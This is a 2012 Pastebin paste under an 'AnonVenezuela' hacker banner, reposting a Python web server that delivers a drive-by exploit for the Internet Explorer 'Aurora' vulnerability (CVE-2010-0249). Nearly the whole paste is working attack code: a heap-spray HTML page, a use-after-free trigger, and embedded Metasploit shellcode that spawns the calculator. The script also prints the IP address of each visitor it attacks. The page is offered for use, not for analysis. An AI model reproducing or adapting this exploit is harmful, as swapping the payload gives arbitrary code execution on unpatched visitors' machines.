Advertisement
YeiZeta

Aurora Code Metasploit

Mar 25th, 2012
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.45 KB | None | 0 0
  1. _A
  2. .'`"`'.
  3. / , , \
  4. | <\^/> |
  5. | < (_) >|
  6. /===</V\>=\
  7. (.--._ _.--.)
  8. |\ -`\- /|
  9. |(_.- >-.)|
  10. \__.-'^'._/
  11. |\ . / YEI ZETA HACKER...2012
  12. _.'\ '----'|'-.
  13. _.-' O ;-.__.' \O `o.
  14. /o \ \/-.-\/| \
  15. | ;, '.|\| /
  16. ___________________________________________________________________________________________________________
  17. =================================ANONVENEZUELA============================================================
  18. ____________________________________________________________________________________________________________
  19.  
  20.  
  21. AURORA METASPLOIT CODE.pl
  22. _______________________________________________________________________________________________________
  23. #
  24. # Author : Ahmed Obied ([email protected])
  25. #
  26. # This program acts as a web server that generates an exploit to
  27. # target a vulnerability (CVE-2010-0249) in Internet Explorer.
  28. # The exploit was tested using Internet Explorer 6 on Windows XP SP2.
  29. # The exploit's payload spawns the calculator.
  30. #
  31. # Usage : python ie_aurora.py [port number]
  32. #
  33.  
  34. import sys
  35. import socket
  36.  
  37. from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
  38.  
  39. class RequestHandler(BaseHTTPRequestHandler):
  40.  
  41. def convert_to_utf16(self, payload):
  42. enc_payload = ''
  43. for i in range(0, len(payload), 2):
  44. num = 0
  45. for j in range(0, 2):
  46. num += (ord(payload[i + j]) & 0xff) << (j * 8)
  47. enc_payload += '%%u%04x' % num
  48. return enc_payload
  49.  
  50. def get_payload(self):
  51. # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
  52. # http://metasploit.com
  53. payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73'
  54. payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e'
  55. payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a'
  56. payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97'
  57. payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56'
  58. payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85'
  59. payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1'
  60. payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
  61. payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02'
  62. payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e'
  63. payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61'
  64. payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e'
  65. return self.convert_to_utf16(payload)
  66.  
  67. def get_exploit(self):
  68. exploit = '''
  69. <html>
  70. <head>
  71. <script>
  72.  
  73. var obj, event_obj;
  74.  
  75. function spray_heap()
  76. {
  77. var chunk_size, payload, nopsled;
  78.  
  79. chunk_size = 0x80000;
  80. payload = unescape("<PAYLOAD>");
  81. nopsled = unescape("<NOP>");
  82. while (nopsled.length < chunk_size)
  83. nopsled += nopsled;
  84. nopsled_len = chunk_size - (payload.length + 20);
  85. nopsled = nopsled.substring(0, nopsled_len);
  86. heap_chunks = new Array();
  87. for (var i = 0 ; i < 200 ; i++)
  88. heap_chunks[i] = nopsled + payload;
  89. }
  90.  
  91. function initialize()
  92. {
  93. obj = new Array();
  94. event_obj = null;
  95. for (var i = 0; i < 200 ; i++ )
  96. obj[i] = document.createElement("COMMENT");
  97. }
  98.  
  99. function ev1(evt)
  100. {
  101. event_obj = document.createEventObject(evt);
  102. document.getElementById("sp1").innerHTML = "";
  103. window.setInterval(ev2, 1);
  104. }
  105.  
  106. function ev2()
  107. {
  108. var data, tmp;
  109.  
  110. data = "";
  111. tmp = unescape("%u0a0a%u0a0a");
  112. for (var i = 0 ; i < 4 ; i++)
  113. data += tmp;
  114. for (i = 0 ; i < obj.length ; i++ ) {
  115. obj[i].data = data;
  116. }
  117. event_obj.srcElement;
  118. }
  119.  
  120. function check()
  121. {
  122. if (navigator.userAgent.indexOf("MSIE") == -1)
  123. return false;
  124. return true;
  125. }
  126.  
  127. if (check()) {
  128. initialize();
  129. spray_heap();
  130. }
  131. else
  132. window.location = 'about:blank'
  133.  
  134. </script>
  135. </head>
  136. <body>
  137. <span id="sp1">
  138. <img src="aurora.gif" onload="ev1(event)">
  139. </span>
  140. </body>
  141. </html>
  142. '''
  143. exploit = exploit.replace('<PAYLOAD>', self.get_payload())
  144. exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a')
  145. return exploit
  146.  
  147. def get_image(self):
  148. content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff'
  149. content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44'
  150. content += '\x01\x00\x3b'
  151. return content
  152.  
  153. def log_request(self, *args, **kwargs):
  154. pass
  155.  
  156. def do_GET(self):
  157. try:
  158. if self.path == '/':
  159. print
  160. print '[-] Incoming connection from %s' % self.client_address[0]
  161. self.send_response(200)
  162. self.send_header('Content-Type', 'text/html')
  163. self.end_headers()
  164. print '[-] Sending exploit to %s ...' % self.client_address[0]
  165. self.wfile.write(self.get_exploit())
  166. print '[-] Exploit sent to %s' % self.client_address[0]
  167. elif self.path == '/aurora.gif':
  168. self.send_response(200)
  169. self.send_header('Content-Type', 'image/gif')
  170. self.end_headers()
  171. self.wfile.write(self.get_image())
  172. except:
  173. print '[*] Error : an error has occured while serving the HTTP request'
  174. print '[-] Exiting ...'
  175. sys.exit(-1)
  176.  
  177.  
  178. def main():
  179. if len(sys.argv) != 2:
  180. print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0]
  181. sys.exit(0)
  182. try:
  183. port = int(sys.argv[1])
  184. if port < 1024 or port > 65535:
  185. raise ValueError
  186. try:
  187. serv = HTTPServer(('', port), RequestHandler)
  188. ip = socket.gethostbyname(socket.gethostname())
  189. print '[-] Web server is running at http://%s:%d/' % (ip, port)
  190. try:
  191. serv.serve_forever()
  192. except:
  193. print '[-] Exiting ...'
  194. except socket.error:
  195. print '[*] Error : a socket error has occurred'
  196. sys.exit(-1)
  197. except ValueError:
  198. print '[*] Error : an invalid port number was given'
  199. sys.exit(-1)
  200.  
  201. if __name__ == '__main__':
  202. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement